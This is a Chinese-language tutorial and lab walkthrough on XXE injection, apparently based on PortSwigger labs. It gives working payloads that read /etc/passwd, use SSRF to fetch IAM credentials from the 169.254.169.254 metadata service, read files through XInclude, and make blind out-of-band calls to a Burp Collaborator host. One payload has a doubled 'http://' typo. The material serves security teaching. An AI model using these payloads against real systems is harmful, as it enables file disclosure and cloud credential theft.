XXE注入
XML外部注入
XML外部实体注入(也称为XXE)是一个Web安全漏洞,它使攻击者能够干扰应用程序对XML数据的处理。它通常使攻击者可以查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用XXE漏洞执行服务器端请求伪造(SSRF)攻击,从而升级XXE攻击,以破坏底层服务器或其他后端基础结构。
XXE漏洞如何产生?
一些应用程序使用XML格式在浏览器和服务器之间传输数据。实际上,执行此操作的应用程序使用标准库或平台API来处理服务器上的XML数据。
XXE漏洞的出现是因为XML规范包含各种潜在的危险功能,并且标准解析器支持这些功能,即使应用程序通常不使用它们也是如此。
XXE攻击有哪些类型?
XXE攻击有多种类型:
-
利用XXE搜索查找files,其中定义了一个包含文件内容的外部实体,并在应用程序的响应中返回
-
利用XXE执行SSRF攻击,其中基于到后端系统的URL定义了外部实体
-
利用盲目的XXE泄漏带外数据,其中敏感数据从应用程序服务器传输到攻击者控制的系统
-
利用盲目的XXE通过错误消息检索数据,攻击者可以在其中触发包含敏感数据的解析错误消息
利用XXE搜索文件
要执行从服务器的文件系统中检索任意文件的XXE注入攻击,您需要以两种方式修改提交的XML:
-
引入(或编辑)一个
DOCTYPE
元素,该元素定义一个包含文件路径的外部实体。 -
编辑应用程序响应中返回的XML中的数据值,以使用已定义的外部实体。
例如,假设购物应用程序通过将以下XML提交给服务器来检查产品的库存水平:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
该应用程序没有针对XXE攻击的特殊防御措施,因此您可以/etc/passwd
通过提交以下XXE有效负载来利用XXE漏洞来检索文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
此XXE有效负载定义了一个外部实体,&xxe;
其值是/etc/passwd
文件的内容,并在该productId
值内使用该实体。这将导致应用程序的响应包括文件内容:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
实例1:利用XXE来查找文件
实验地址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
步骤:访问产品页面,单击【检查库存】,然后在Burp Suite中拦截POST请求。
在XML声明和stockCheck元素之间插入实体定义:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
如图查找成功:
利用XXE执行SSRF攻击
除了搜索敏感数据外,XXE攻击的另一个主要影响是,用于执行服务器端请求伪造(SSRF)。这是一个潜在的严重漏洞,可能导致服务器端应用程序向服务器可以访问的任何URL发出HTTP请求。
要利用XXE漏洞执行SSRF攻击,您需要使用要定位的URL定义外部XML实体,并在数据值中使用定义的实体。如果您可以在应用程序响应中返回的数据值中使用已定义的实体,那么您将能够从应用程序响应中的URL查看响应,从而与后端系统进行双向交互。如果没有,那么您将只能执行盲目SSRF攻击(仍然可能会产生严重后果)。
在下面的XXE示例中,外部实体将使服务器向组织的基础结构内的内部系统发出后端HTTP请求:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
目的:利用XXE执行SSRF攻击获取服务器的IAM访问密匙
实验地址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
步骤: 访问产品页面,单击【检查库存】,然后在Burp Suite中拦截POST请求。
在XML声明和stockCheck元素之间插入实体定义:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
直到:http://169.254.169.254/latest/meta-data/iam/security-credentials/admin 获取到IAM密匙
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
如图下图:获取服务器的IAM密匙成功。
XXE盲漏洞
XXE漏洞的许多实例都是盲目的。这意味着应用程序不会在其响应中返回任何已定义外部实体的值,因此无法直接检索服务器端文件。
仍然可以检测和利用XXE盲漏洞,但是需要更高级的技术。有时您可以使用带外技术来发现漏洞,并利用它们来窃取数据。而且您有时可以触发XML解析错误,从而导致错误消息中的敏感数据泄露。
在许多情况下,XXE注入漏洞的攻击面很明显,因为应用程序的常规HTTP流量包括包含XML格式数据的请求。在其他情况下,攻击面不太明显。但是,如果在正确的位置查看,则会在不包含任何XML的请求中发现XXE攻击面。
XInclude攻击
一些应用程序接收客户端提交的数据,将其在服务器端嵌入到XML文档中,然后解析该文档。将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务对其进行处理时,就会发生这种情况。
在这种情况下,您无法进行经典的XXE攻击,因为您无法控制整个XML文档,因此无法定义或修改DOCTYPE
元素。但是,您也许可以XInclude
代替使用。XInclude
是XML规范的一部分,该规范允许从子文档构建XML文档。您可以XInclude
在XML文档中的任何数据值内进行攻击,因此可以在仅控制放置在服务器端XML文档中的单个数据项的情况下执行攻击。
要进行XInclude
攻击,您需要引用XInclude
名称空间,并提供要包含的文件的路径。例如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
目的:利用Xlnclude搜索文件
实验地址:https://portswigger.net/web-security/xxe/lab-xinclude-attack
说明:检查库存功能,该功能将用户输入嵌入到随后解析的服务器端XML文档中。所以无法 控制整个XML文档,因此无法定义DTD来发起经典的XXE攻击。
要解决此问题,插入一条XInclude
语句以检索/etc/passwd
文件的内容。
步骤:访问产品页面,单击【检查库存】,然后在Burp Suite中拦截POST请求。
将productId
参数的值设置为:productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
通过文件上传进行XXE攻击
一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于XML格式的示例是Office文档格式(例如DOCX)和图像格式(例如SVG)。
例如,一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收PNG或JPEG之类的格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML,因此攻击者可以提交恶意的SVG映像,因此可以隐藏攻击面以发现XXE漏洞。
交互功能的盲XXE
实验地址:https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction
步骤: 检查库存功能,可解析XML输入但不显示结果。
通过触发与外部域交互来检测xxe盲漏洞。
攻击产品页面,单击【检查库存】,然后Burp Suite Professional中拦截POST请求。
Burp菜单,启动Burp Collaborator客户端。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Burp Collaborator客户端中轮询成功:
通过XML参数实体进行带外交互的盲XXE
实验地址:https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities
步骤:检查库存功能,可解析XML输入,但是不显示任何结果且阻止包含常规外部请求。
解决方案:使用参数实体使XML解析器发出DNS查找和HTTP请求burpcollaborator.net。
攻击产品页面,单击【检查库存】,然后Burp Suite Professional中拦截POST请求。
Burp菜单,启动Burp Collaborator客户端。
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
YOUR-SUBDOMAIN-HERE替换成Burp Collaborator客户端生成的url。
Burp Collaborator客户端中轮询成功: